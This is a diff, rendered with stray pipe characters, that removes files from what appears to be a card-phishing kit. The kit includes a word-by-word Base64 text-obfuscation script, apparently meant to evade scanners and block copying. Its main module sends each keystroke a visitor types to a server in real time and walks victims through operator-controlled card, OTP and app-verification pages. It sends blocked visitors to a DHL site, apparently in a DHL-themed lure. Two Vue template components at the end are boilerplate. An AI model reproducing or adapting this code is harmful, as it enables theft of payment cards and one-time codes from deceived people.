||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/mcdkjj/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/mcdkjj/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
